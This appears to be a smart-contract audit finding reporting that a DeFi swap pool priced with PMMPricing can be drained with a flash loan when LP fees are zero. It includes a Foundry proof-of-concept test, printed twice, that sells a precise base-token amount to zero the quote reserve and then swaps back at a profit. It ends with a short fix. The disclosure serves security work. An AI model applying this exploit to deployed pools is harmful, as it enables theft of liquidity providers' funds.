Pool can be drained if there are no LP_FEES
The pool can be depleted because swaps allow the withdrawal of the entire balance, resulting in a reserve of 0 for a specific asset. When an asset's balance reaches 0, the PMMPricing algorithm incorrectly estimates the calculation of output amounts. Consequently, the entire pool can be exploited using a flash loan by depleting one of the tokens to 0 and then swapping back to the pool whatever is received.\\nFirstly, as indicated in the summary, selling quote/base tokens can lead to draining the opposite token in the pool, potentially resulting in a reserve of 0. Consequently, the swapping mechanism permits someone to entirely deplete the token balance within the pool. In such cases, the calculations within the pool mechanism become inaccurate. Therefore, swapping back to whatever has been initially purchased will result in acquiring more tokens, further exacerbating the depletion of the pool.\\nAllow me to provide a PoC to illustrate this scenario:\\n```\\nfunction test_poolCanBeDrained() public {\\n        // @review 99959990000000000000000 this amount makes the reserve 0\\n        // run a fuzz test, to get the logs easily I will just use this value as constant but I found it via fuzzing\\n        // selling this amount to the pool will make the quote token reserves "0".\\n        vm.startPrank(tapir);\\n        uint256 _amount = 99959990000000000000000;\\n\\n        //  Buy shares with tapir, 10 - 10 initiate the pool\\n        dai.transfer(address(gsp), 10 * 1e18);\\n        usdc.transfer(address(gsp), 10 * 1e6);\\n        gsp.buyShares(tapir);\\n\\n        // make sure the values are correct with my math\\n        assertTrue(gsp._BASE_RESERVE_() == 10 * 1e18);\\n        assertTrue(gsp._QUOTE_RESERVE_() == 10 * 1e6);\\n        assertTrue(gsp._BASE_TARGET_() == 10 * 1e18);\\n        assertTrue(gsp._QUOTE_TARGET_() == 10 * 1e6);\\n        assertEq(gsp.balanceOf(tapir), 10 * 1e18);\\n        vm.stopPrank();\\n        \\n        // sell such a base token amount such that the quote reserve is 0\\n        // I calculated the "_amount" already which will make the quote token reserve "0"\\n        vm.startPrank(hippo);\\n        deal(DAI, hippo, _amount);\\n        dai.transfer(address(gsp), _amount);\\n        uint256 receivedQuoteAmount = gsp.sellBase(hippo);\\n\\n        // print the reserves and the amount received by hippo when he sold the base tokens\\n        console.log("Received quote amount by hippo", receivedQuoteAmount);\\n        console.log("Base reserve", gsp._BASE_RESERVE_());\\n        console.log("Quote reserve", gsp._QUOTE_RESERVE_());\\n\\n        // Quote reserve is 0!!! That means the pool has 0 assets, basically pool has only one asset now!\\n        // this behaviour is almost always not a desired behaviour because we never want our assets to be 0 \\n        // as a result of swapping or removing liquidity.\\n        assertEq(gsp._QUOTE_RESERVE_(), 0);\\n\\n        // sell the quote tokens received back to the pool immediately\\n        usdc.transfer(address(gsp), receivedQuoteAmount);\\n\\n        // cache whatever received base tokens from the selling back\\n        uint256 receivedBaseAmount = gsp.sellQuote(hippo);\\n\\n        console.log("Received base amount by hippo", receivedBaseAmount);\\n        console.log("Base target", gsp._BASE_TARGET_());\\n        console.log("Quote target", gsp._QUOTE_TARGET_());\\n        console.log("Base reserve", gsp._BASE_RESERVE_());\\n        console.log("Quote reserve", gsp._QUOTE_RESERVE_());\\n        \\n        // whatever received in base tokens are bigger than our first flashloan! \\n        // means that we have a profit!\\n        assertGe(receivedBaseAmount, _amount);\\n        console.log("Profit for attack", receivedBaseAmount - _amount);\\n    }\\n```\\n\\nTest results and logs:
Do not allow the pools balance to be 0 or do not let LP_FEE to be 0 in anytime.
Pool can be drained, funds are lost. Hence, high. Though, this can only happen when there are no "LP_FEES". However, when we check the default settings of the deployment, we see here that the LP_FEE is set to 0. So, it is ok to assume that the LP_FEES can be 0.
```\\nfunction test_poolCanBeDrained() public {\\n        // @review 99959990000000000000000 this amount makes the reserve 0\\n        // run a fuzz test, to get the logs easily I will just use this value as constant but I found it via fuzzing\\n        // selling this amount to the pool will make the quote token reserves "0".\\n        vm.startPrank(tapir);\\n        uint256 _amount = 99959990000000000000000;\\n\\n        //  Buy shares with tapir, 10 - 10 initiate the pool\\n        dai.transfer(address(gsp), 10 * 1e18);\\n        usdc.transfer(address(gsp), 10 * 1e6);\\n        gsp.buyShares(tapir);\\n\\n        // make sure the values are correct with my math\\n        assertTrue(gsp._BASE_RESERVE_() == 10 * 1e18);\\n        assertTrue(gsp._QUOTE_RESERVE_() == 10 * 1e6);\\n        assertTrue(gsp._BASE_TARGET_() == 10 * 1e18);\\n        assertTrue(gsp._QUOTE_TARGET_() == 10 * 1e6);\\n        assertEq(gsp.balanceOf(tapir), 10 * 1e18);\\n        vm.stopPrank();\\n        \\n        // sell such a base token amount such that the quote reserve is 0\\n        // I calculated the "_amount" already which will make the quote token reserve "0"\\n        vm.startPrank(hippo);\\n        deal(DAI, hippo, _amount);\\n        dai.transfer(address(gsp), _amount);\\n        uint256 receivedQuoteAmount = gsp.sellBase(hippo);\\n\\n        // print the reserves and the amount received by hippo when he sold the base tokens\\n        console.log("Received quote amount by hippo", receivedQuoteAmount);\\n        console.log("Base reserve", gsp._BASE_RESERVE_());\\n        console.log("Quote reserve", gsp._QUOTE_RESERVE_());\\n\\n        // Quote reserve is 0!!! That means the pool has 0 assets, basically pool has only one asset now!\\n        // this behaviour is almost always not a desired behaviour because we never want our assets to be 0 \\n        // as a result of swapping or removing liquidity.\\n        assertEq(gsp._QUOTE_RESERVE_(), 0);\\n\\n        // sell the quote tokens received back to the pool immediately\\n        usdc.transfer(address(gsp), receivedQuoteAmount);\\n\\n        // cache whatever received base tokens from the selling back\\n        uint256 receivedBaseAmount = gsp.sellQuote(hippo);\\n\\n        console.log("Received base amount by hippo", receivedBaseAmount);\\n        console.log("Base target", gsp._BASE_TARGET_());\\n        console.log("Quote target", gsp._QUOTE_TARGET_());\\n        console.log("Base reserve", gsp._BASE_RESERVE_());\\n        console.log("Quote reserve", gsp._QUOTE_RESERVE_());\\n        \\n        // whatever received in base tokens are bigger than our first flashloan! \\n        // means that we have a profit!\\n        assertGe(receivedBaseAmount, _amount);\\n        console.log("Profit for attack", receivedBaseAmount - _amount);\\n    }\\n```\\n